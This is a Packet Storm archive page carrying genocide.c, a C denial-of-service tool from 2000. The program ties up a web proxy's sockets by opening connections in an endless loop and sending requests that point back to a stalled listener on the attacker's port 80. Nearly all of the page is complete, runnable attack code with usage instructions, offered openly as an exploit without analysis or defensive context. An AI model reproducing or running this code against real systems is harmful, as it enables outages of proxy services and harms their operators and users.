exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

genocide.c

genocide.c
Posted Aug 2, 2000
Authored by Sectorx

genocide.c is a dos attack which affects many different web proxies by making multiple connections which tie up all the sockets.

tags | web, denial of service
SHA-256 | 9e065b8db3803c90b6a5c38e2cba0481dce096b68143e275d1d627f37235f6ce

genocide.c

Change Mirror Download
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <time.h>
#include <sys/time.h>

int Connect(int ip, int port)
{
int fd;
struct sockaddr_in tgt;

fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (fd<0) return -1;
memset(&tgt,0,sizeof(struct sockaddr_in));
tgt.sin_port = htons(port);
tgt.sin_family = AF_INET;
tgt.sin_addr.s_addr = ip;
if (connect(fd,(struct sockaddr*)&tgt,sizeof(struct sockaddr))<0) return -1;
return fd;
}

int sprint(int fd, const char *str,...)
{
va_list args;
char buf[4096];
memset(&buf,0,sizeof(buf));
va_start(args,str);
vsnprintf(buf,sizeof(buf),str,args);
return(write(fd,buf,strlen(buf)));
}

int main(int argc, char *argv[])
{
int fd;
struct sockaddr_in box;

fprintf(stderr, "Many http proxies denial of service (c) sectorx of xor [public]\n");
if (argc < 3) {
fprintf(stderr, "usage: %s <your ip> <proxy ip> [proxy port]\n",argv[0]);
return;
}

fprintf(stderr,"Making a stall on port 80 ... ");
fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (fd<0) {
perror("socket() ");
return;
}
memset(&box,0,sizeof(struct sockaddr_in));
box.sin_family = AF_INET;
box.sin_addr.s_addr = INADDR_ANY;
box.sin_port = htons(0x50);
if (bind(fd,(struct sockaddr*)&box,sizeof(struct sockaddr))<0) {
perror("bind()[80] ");
return;
}
if (listen(fd,65535)<0) {
perror("listen() ");
return;
}
fprintf(stderr,"done!\n");
fprintf(stderr,"Attacking proxy : ");
for (;;) {
int sock;

sock = Connect(inet_addr(argv[2]),(argc>3)?(atoi(argv[3])):3128);
if (sock<0) {
perror("Connect() ");
sleep(15);
continue;
}
sprint(sock,"GET http://%s/ HTTP/1.0\n\n",argv[1]);
fprintf(stderr, ".");
}
}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close